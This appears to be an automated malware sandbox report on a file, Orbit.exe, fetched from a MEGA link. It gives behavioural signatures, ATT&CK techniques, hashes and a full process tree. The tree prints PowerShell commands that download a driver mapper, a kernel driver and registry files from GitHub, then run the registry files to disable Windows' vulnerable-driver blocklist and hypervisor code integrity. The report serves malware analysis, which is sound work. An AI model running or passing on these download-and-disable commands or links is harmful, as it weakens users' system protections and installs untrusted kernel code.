hxxps://mega[.]nz/file/7DhG3Q7B#FzOSJmSlPEF_9NlGq_VPqMOgVvNpY9rEtAaMyeEuIIk

Analysis

max time kernel
113s
max time network
130s
platform
windows10-2004_x64
resource
win10v2004-20240419-en
resource tags

arch:x64arch:x86image:win10v2004-20240419-enlocale:en-usos:windows10-2004-x64system
submitted
02/05/2024, 04:04

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

https://mega.nz/file/7DhG3Q7B#FzOSJmSlPEF_9NlGq_VPqMOgVvNpY9rEtAaMyeEuIIk

Score

8^/10

Malware Config

Signatures

Blocklisted process makes network request 18 IoCs

flow	pid	Process
94	3468	powershell.exe
96	3468	powershell.exe
99	5800	powershell.exe
100	5800	powershell.exe
101	2908	powershell.exe
102	2908	powershell.exe
103	5916	powershell.exe
104	5916	powershell.exe
105	5920	powershell.exe
106	5920	powershell.exe
107	4660	powershell.exe
108	4660	powershell.exe
109	1192	powershell.exe
110	1192	powershell.exe
111	5692	powershell.exe
112	5692	powershell.exe
113	5108	powershell.exe
114	5108	powershell.exe

Downloads MZ/PE file

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2860750803-256193626-1801997576-1000\Control Panel\International\Geo\Nation	cmd.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2860750803-256193626-1801997576-1000\Control Panel\International\Geo\Nation	cmd.exe

Executes dropped EXE 2 IoCs

pid	Process
6032	Orbit.exe
5128	Orbit.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 10 IoCs

Web Service

T1102

flow	ioc
106	raw.githubusercontent.com
110	raw.githubusercontent.com
112	raw.githubusercontent.com
114	raw.githubusercontent.com
95	raw.githubusercontent.com
96	raw.githubusercontent.com
100	raw.githubusercontent.com
102	raw.githubusercontent.com
104	raw.githubusercontent.com
108	raw.githubusercontent.com

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe

Modifies registry class 2 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2860750803-256193626-1801997576-1000_Classes\Local Settings	cmd.exe
Key created	\REGISTRY\USER\S-1-5-21-2860750803-256193626-1801997576-1000_Classes\Local Settings	cmd.exe

NTFS ADS 1 IoCs

description	ioc	Process
File opened for modification	C:\Users\Admin\Downloads\Unconfirmed 794577.crdownload:SmartScreen	msedge.exe

Runs .reg file with regedit 2 IoCs

pid	Process
4512	regedit.exe
3832	regedit.exe

Suspicious behavior: EnumeratesProcesses 32 IoCs

pid	Process
4908	msedge.exe
4908	msedge.exe
4776	msedge.exe
4776	msedge.exe
392	identity_helper.exe
392	identity_helper.exe
5848	msedge.exe
5848	msedge.exe
3468	powershell.exe
3468	powershell.exe
3468	powershell.exe
5800	powershell.exe
5800	powershell.exe
5800	powershell.exe
2908	powershell.exe
2908	powershell.exe
2908	powershell.exe
5916	powershell.exe
5916	powershell.exe
5916	powershell.exe
5920	powershell.exe
5920	powershell.exe
5920	powershell.exe
4660	powershell.exe
4660	powershell.exe
4660	powershell.exe
1192	powershell.exe
1192	powershell.exe
1192	powershell.exe
5692	powershell.exe
5692	powershell.exe
5692	powershell.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 7 IoCs

pid	Process
4776	msedge.exe
4776	msedge.exe
4776	msedge.exe
4776	msedge.exe
4776	msedge.exe
4776	msedge.exe
4776	msedge.exe

Suspicious use of AdjustPrivilegeToken 10 IoCs

description	pid	Process
Token: 33	1952	AUDIODG.EXE
Token: SeIncBasePriorityPrivilege	1952	AUDIODG.EXE
Token: SeDebugPrivilege	3468	powershell.exe
Token: SeDebugPrivilege	5800	powershell.exe
Token: SeDebugPrivilege	2908	powershell.exe
Token: SeDebugPrivilege	5916	powershell.exe
Token: SeDebugPrivilege	5920	powershell.exe
Token: SeDebugPrivilege	4660	powershell.exe
Token: SeDebugPrivilege	1192	powershell.exe
Token: SeDebugPrivilege	5692	powershell.exe

Suspicious use of FindShellTrayWindow 36 IoCs

pid	Process
4776	msedge.exe
4776	msedge.exe
4776	msedge.exe
4776	msedge.exe
4776	msedge.exe
4776	msedge.exe
4776	msedge.exe
4776	msedge.exe
4776	msedge.exe
4776	msedge.exe
4776	msedge.exe
4776	msedge.exe
4776	msedge.exe
4776	msedge.exe
4776	msedge.exe
4776	msedge.exe
4776	msedge.exe
4776	msedge.exe
4776	msedge.exe
4776	msedge.exe
4776	msedge.exe
4776	msedge.exe
4776	msedge.exe
4776	msedge.exe
4776	msedge.exe
4776	msedge.exe
4776	msedge.exe
4776	msedge.exe
4776	msedge.exe
4776	msedge.exe
4776	msedge.exe
4776	msedge.exe
4776	msedge.exe
4776	msedge.exe
4776	msedge.exe
4776	msedge.exe

Suspicious use of SendNotifyMessage 24 IoCs

pid	Process
4776	msedge.exe
4776	msedge.exe
4776	msedge.exe
4776	msedge.exe
4776	msedge.exe
4776	msedge.exe
4776	msedge.exe
4776	msedge.exe
4776	msedge.exe
4776	msedge.exe
4776	msedge.exe
4776	msedge.exe
4776	msedge.exe
4776	msedge.exe
4776	msedge.exe
4776	msedge.exe
4776	msedge.exe
4776	msedge.exe
4776	msedge.exe
4776	msedge.exe
4776	msedge.exe
4776	msedge.exe
4776	msedge.exe
4776	msedge.exe

Suspicious use of SetWindowsHookEx 2 IoCs

pid	Process
6032	Orbit.exe
5128	Orbit.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4776 wrote to memory of 1784	4776	msedge.exe	84
PID 4776 wrote to memory of 1784	4776	msedge.exe	84
PID 4776 wrote to memory of 2300	4776	msedge.exe	85
PID 4776 wrote to memory of 2300	4776	msedge.exe	85
PID 4776 wrote to memory of 2300	4776	msedge.exe	85
PID 4776 wrote to memory of 2300	4776	msedge.exe	85
PID 4776 wrote to memory of 2300	4776	msedge.exe	85
PID 4776 wrote to memory of 2300	4776	msedge.exe	85
PID 4776 wrote to memory of 2300	4776	msedge.exe	85
PID 4776 wrote to memory of 2300	4776	msedge.exe	85
PID 4776 wrote to memory of 2300	4776	msedge.exe	85
PID 4776 wrote to memory of 2300	4776	msedge.exe	85
PID 4776 wrote to memory of 2300	4776	msedge.exe	85
PID 4776 wrote to memory of 2300	4776	msedge.exe	85
PID 4776 wrote to memory of 2300	4776	msedge.exe	85
PID 4776 wrote to memory of 2300	4776	msedge.exe	85
PID 4776 wrote to memory of 2300	4776	msedge.exe	85
PID 4776 wrote to memory of 2300	4776	msedge.exe	85
PID 4776 wrote to memory of 2300	4776	msedge.exe	85
PID 4776 wrote to memory of 2300	4776	msedge.exe	85
PID 4776 wrote to memory of 2300	4776	msedge.exe	85
PID 4776 wrote to memory of 2300	4776	msedge.exe	85
PID 4776 wrote to memory of 2300	4776	msedge.exe	85
PID 4776 wrote to memory of 2300	4776	msedge.exe	85
PID 4776 wrote to memory of 2300	4776	msedge.exe	85
PID 4776 wrote to memory of 2300	4776	msedge.exe	85
PID 4776 wrote to memory of 2300	4776	msedge.exe	85
PID 4776 wrote to memory of 2300	4776	msedge.exe	85
PID 4776 wrote to memory of 2300	4776	msedge.exe	85
PID 4776 wrote to memory of 2300	4776	msedge.exe	85
PID 4776 wrote to memory of 2300	4776	msedge.exe	85
PID 4776 wrote to memory of 2300	4776	msedge.exe	85
PID 4776 wrote to memory of 2300	4776	msedge.exe	85
PID 4776 wrote to memory of 2300	4776	msedge.exe	85
PID 4776 wrote to memory of 2300	4776	msedge.exe	85
PID 4776 wrote to memory of 2300	4776	msedge.exe	85
PID 4776 wrote to memory of 2300	4776	msedge.exe	85
PID 4776 wrote to memory of 2300	4776	msedge.exe	85
PID 4776 wrote to memory of 2300	4776	msedge.exe	85
PID 4776 wrote to memory of 2300	4776	msedge.exe	85
PID 4776 wrote to memory of 2300	4776	msedge.exe	85
PID 4776 wrote to memory of 2300	4776	msedge.exe	85
PID 4776 wrote to memory of 4908	4776	msedge.exe	86
PID 4776 wrote to memory of 4908	4776	msedge.exe	86
PID 4776 wrote to memory of 2008	4776	msedge.exe	87
PID 4776 wrote to memory of 2008	4776	msedge.exe	87
PID 4776 wrote to memory of 2008	4776	msedge.exe	87
PID 4776 wrote to memory of 2008	4776	msedge.exe	87
PID 4776 wrote to memory of 2008	4776	msedge.exe	87
PID 4776 wrote to memory of 2008	4776	msedge.exe	87
PID 4776 wrote to memory of 2008	4776	msedge.exe	87
PID 4776 wrote to memory of 2008	4776	msedge.exe	87
PID 4776 wrote to memory of 2008	4776	msedge.exe	87
PID 4776 wrote to memory of 2008	4776	msedge.exe	87
PID 4776 wrote to memory of 2008	4776	msedge.exe	87
PID 4776 wrote to memory of 2008	4776	msedge.exe	87
PID 4776 wrote to memory of 2008	4776	msedge.exe	87
PID 4776 wrote to memory of 2008	4776	msedge.exe	87
PID 4776 wrote to memory of 2008	4776	msedge.exe	87
PID 4776 wrote to memory of 2008	4776	msedge.exe	87
PID 4776 wrote to memory of 2008	4776	msedge.exe	87
PID 4776 wrote to memory of 2008	4776	msedge.exe	87
PID 4776 wrote to memory of 2008	4776	msedge.exe	87
PID 4776 wrote to memory of 2008	4776	msedge.exe	87

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://mega.nz/file/7DhG3Q7B#FzOSJmSlPEF_9NlGq_VPqMOgVvNpY9rEtAaMyeEuIIk
1⤵
- Enumerates system info in registry
- NTFS ADS
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:4776
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7fffbfd346f8,0x7fffbfd34708,0x7fffbfd34718
  2⤵
  PID:1784
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2188,12786929572242687461,7298423870897926443,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2204 /prefetch:2
  2⤵
  PID:2300
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2188,12786929572242687461,7298423870897926443,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2268 /prefetch:3
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:4908
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2188,12786929572242687461,7298423870897926443,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2804 /prefetch:8
  2⤵
  PID:2008
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2188,12786929572242687461,7298423870897926443,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3344 /prefetch:1
  2⤵
  PID:2156
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2188,12786929572242687461,7298423870897926443,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3352 /prefetch:1
  2⤵
  PID:5008
- C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2188,12786929572242687461,7298423870897926443,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5288 /prefetch:8
  2⤵
  PID:3320
- C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2188,12786929572242687461,7298423870897926443,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5288 /prefetch:8
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:392
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --field-trial-handle=2188,12786929572242687461,7298423870897926443,131072 --lang=en-US --service-sandbox-type=audio --mojo-platform-channel-handle=5548 /prefetch:8
  2⤵
  PID:1168
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2188,12786929572242687461,7298423870897926443,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5444 /prefetch:1
  2⤵
  PID:988
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2188,12786929572242687461,7298423870897926443,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5556 /prefetch:1
  2⤵
  PID:3476
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2188,12786929572242687461,7298423870897926443,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5928 /prefetch:1
  2⤵
  PID:5308
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2188,12786929572242687461,7298423870897926443,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3512 /prefetch:1
  2⤵
  PID:5316
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_collections.mojom.CollectionsDataManager --field-trial-handle=2188,12786929572242687461,7298423870897926443,131072 --lang=en-US --service-sandbox-type=collections --mojo-platform-channel-handle=5704 /prefetch:8
  2⤵
  PID:5532
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2188,12786929572242687461,7298423870897926443,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=15 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5768 /prefetch:1
  2⤵
  PID:5540
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --field-trial-handle=2188,12786929572242687461,7298423870897926443,131072 --lang=en-US --service-sandbox-type=icon_reader --mojo-platform-channel-handle=6152 /prefetch:8
  2⤵
  PID:5668
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --field-trial-handle=2188,12786929572242687461,7298423870897926443,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5136 /prefetch:8
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:5848
- C:\Users\Admin\Downloads\Orbit.exe
  "C:\Users\Admin\Downloads\Orbit.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetWindowsHookEx
  PID:6032
- C:\Users\Admin\Downloads\Orbit.exe
  "C:\Users\Admin\Downloads\Orbit.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetWindowsHookEx
  PID:5128
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c cls
    3⤵
    PID:5208
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c powershell -Command "Invoke-WebRequest -Uri 'https://github.com/ZirczWare/ZapperExternal/raw/main/Zappericons-Regular.ttf' -OutFile 'C:\Users\Admin\AppData\Roaming\Orbit\Zappericons-Regular.ttf'"
    3⤵
    PID:5136
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Invoke-WebRequest -Uri 'https://github.com/ZirczWare/ZapperExternal/raw/main/Zappericons-Regular.ttf' -OutFile 'C:\Users\Admin\AppData\Roaming\Orbit\Zappericons-Regular.ttf'"
      4⤵
      Blocklisted process makes network request
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:3468
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c cls
    3⤵
    PID:5664
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c powershell -Command "Invoke-WebRequest -Uri 'https://github.com/ZirczWare/ZapperExternal/raw/main/Weaponicons-Regular.ttf' -OutFile 'C:\Users\Admin\AppData\Roaming\Orbit\Weaponicons-Regular.ttf'"
    3⤵
    PID:5712
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Invoke-WebRequest -Uri 'https://github.com/ZirczWare/ZapperExternal/raw/main/Weaponicons-Regular.ttf' -OutFile 'C:\Users\Admin\AppData\Roaming\Orbit\Weaponicons-Regular.ttf'"
      4⤵
      Blocklisted process makes network request
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:5800
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c cls
    3⤵
    PID:4392
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c powershell -Command "Invoke-WebRequest -Uri 'https://github.com/ZirczWare/ZapperExternal/raw/main/SamsungSans-Regular.ttf' -OutFile 'C:\Users\Admin\AppData\Roaming\Orbit\SamsungSans-Regular.ttf'"
    3⤵
    PID:5808
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Invoke-WebRequest -Uri 'https://github.com/ZirczWare/ZapperExternal/raw/main/SamsungSans-Regular.ttf' -OutFile 'C:\Users\Admin\AppData\Roaming\Orbit\SamsungSans-Regular.ttf'"
      4⤵
      Blocklisted process makes network request
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2908
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c cls
    3⤵
    PID:2836
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c powershell -Command "Invoke-WebRequest -Uri 'https://github.com/ZirczWare/ZapperExternal/raw/main/SmallestPixel7-Regular.ttf' -OutFile 'C:\Users\Admin\AppData\Roaming\Orbit\SmallestPixel7-Regular.ttf'"
    3⤵
    PID:1184
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Invoke-WebRequest -Uri 'https://github.com/ZirczWare/ZapperExternal/raw/main/SmallestPixel7-Regular.ttf' -OutFile 'C:\Users\Admin\AppData\Roaming\Orbit\SmallestPixel7-Regular.ttf'"
      4⤵
      Blocklisted process makes network request
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:5916
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c cls
    3⤵
    PID:6112
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c powershell -Command "Invoke-WebRequest -Uri 'https://github.com/ZirczWare/Kernel-Cheat/raw/main/DriverMapper.exe' -OutFile 'C:\Users\Admin\AppData\Roaming\Orbit\DriverMapper.exe'"
    3⤵
    PID:6040
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Invoke-WebRequest -Uri 'https://github.com/ZirczWare/Kernel-Cheat/raw/main/DriverMapper.exe' -OutFile 'C:\Users\Admin\AppData\Roaming\Orbit\DriverMapper.exe'"
      4⤵
      Blocklisted process makes network request
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:5920
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c cls
    3⤵
    PID:5400
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c powershell -Command "Invoke-WebRequest -Uri 'https://github.com/ZirczWare/Kernel-Cheat/raw/main/Win10_22H2.sys' -OutFile 'C:\Users\Admin\AppData\Roaming\Orbit\Win10_22H2.sys'"
    3⤵
    PID:5384
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Invoke-WebRequest -Uri 'https://github.com/ZirczWare/Kernel-Cheat/raw/main/Win10_22H2.sys' -OutFile 'C:\Users\Admin\AppData\Roaming\Orbit\Win10_22H2.sys'"
      4⤵
      Blocklisted process makes network request
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4660
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c cls
    3⤵
    PID:5084
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c powershell -Command "Invoke-WebRequest -Uri 'https://github.com/ZirczWare/Kernel-Cheat/raw/main/DisableVulnerableDriverList.reg' -OutFile 'C:\Users\Admin\AppData\Roaming\Orbit\DisableVulnerableDriverList.reg'"
    3⤵
    PID:3824
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Invoke-WebRequest -Uri 'https://github.com/ZirczWare/Kernel-Cheat/raw/main/DisableVulnerableDriverList.reg' -OutFile 'C:\Users\Admin\AppData\Roaming\Orbit\DisableVulnerableDriverList.reg'"
      4⤵
      Blocklisted process makes network request
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1192
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c cls
    3⤵
    PID:5392
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c powershell -Command "Invoke-WebRequest -Uri 'https://github.com/ZirczWare/Kernel-Cheat/raw/main/DisableHypervisorEnforcedCodeIntegrity.reg' -OutFile 'C:\Users\Admin\AppData\Roaming\Orbit\DisableHypervisorEnforcedCodeIntegrity.reg'"
    3⤵
    PID:5604
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Invoke-WebRequest -Uri 'https://github.com/ZirczWare/Kernel-Cheat/raw/main/DisableHypervisorEnforcedCodeIntegrity.reg' -OutFile 'C:\Users\Admin\AppData\Roaming\Orbit\DisableHypervisorEnforcedCodeIntegrity.reg'"
      4⤵
      Blocklisted process makes network request
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:5692
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c cls
    3⤵
    PID:5836
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c powershell -Command "Invoke-WebRequest -Uri 'https://github.com/ZirczWare/Kernel-Cheat/raw/main/GrenadeHelper.txt' -OutFile 'C:\Users\Admin\AppData\Roaming\Orbit\GrenadeHelper.txt'"
    3⤵
    PID:5560
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Invoke-WebRequest -Uri 'https://github.com/ZirczWare/Kernel-Cheat/raw/main/GrenadeHelper.txt' -OutFile 'C:\Users\Admin\AppData\Roaming\Orbit\GrenadeHelper.txt'"
      4⤵
      Blocklisted process makes network request
      PID:5108
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c cls
    3⤵
    PID:3424
- - C:\Windows\SYSTEM32\cmd.exe
    cmd /c cd C:\Users\Admin\AppData\Roaming\Orbit && DisableVulnerableDriverList.reg && exit
    3⤵
    - Checks computer location settings
    - Modifies registry class
    PID:2672
  - - C:\Windows\regedit.exe
      "regedit.exe" "C:\Users\Admin\AppData\Roaming\Orbit\DisableVulnerableDriverList.reg"
      4⤵
      Runs .reg file with regedit
      PID:4512
- - C:\Windows\SYSTEM32\cmd.exe
    cmd /c cd C:\Users\Admin\AppData\Roaming\Orbit && DisableHypervisorEnforcedCodeIntegrity.reg && exit
    3⤵
    - Checks computer location settings
    - Modifies registry class
    PID:3608
  - - C:\Windows\regedit.exe
      "regedit.exe" "C:\Users\Admin\AppData\Roaming\Orbit\DisableHypervisorEnforcedCodeIntegrity.reg"
      4⤵
      Runs .reg file with regedit
      PID:3832

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:2800

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:2644

C:\Windows\system32\AUDIODG.EXE
C:\Windows\system32\AUDIODG.EXE 0x520 0x524
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:1952

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
1⤵
PID:5136

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
2f57fde6b33e89a63cf0dfdd6e60a351

SHA1
445bf1b07223a04f8a159581a3d37d630273010f

SHA256
3b0068d29ae4b20c447227fbf410aa2deedfef6220ccc3f698f3c7707c032c55

SHA512
42857c5f111bfa163e9f4ea6b81a42233d0bbb0836ecc703ce7e8011b6f8a8eca761f39adc3ed026c9a2f99206d88bab9bddb42da9113e478a31a6382af5c220

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Filesize
152B

MD5
4e96ed67859d0bafd47d805a71041f49

SHA1
7806c54ae29a6c8d01dcbc78e5525ddde321b16b

SHA256
bd13ddab4dc4bbf01ed50341953c9638f6d71faf92bc79fbfe93687432c2292d

SHA512
432201c3119779d91d13da55a26d4ff4ce4a9529e00b44ec1738029f92610d4e6e25c05694adf949c3e9c70fbbbbea723f63c29287906729f5e88a046a2edcb7

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Filesize
152B

MD5
1cbd0e9a14155b7f5d4f542d09a83153

SHA1
27a442a921921d69743a8e4b76ff0b66016c4b76

SHA256
243d05d6af19bfe3e06b1f7507342ead88f9d87b84e239ad1d144e9e454b548c

SHA512
17e5217d5bf67571afb0e7ef30ac21c11ea6553f89457548d96ee4461011f641a7872a37257239fa5f25702f027afb85d5bd9faf2f2f183992b8879407e56a0d

Download Submit
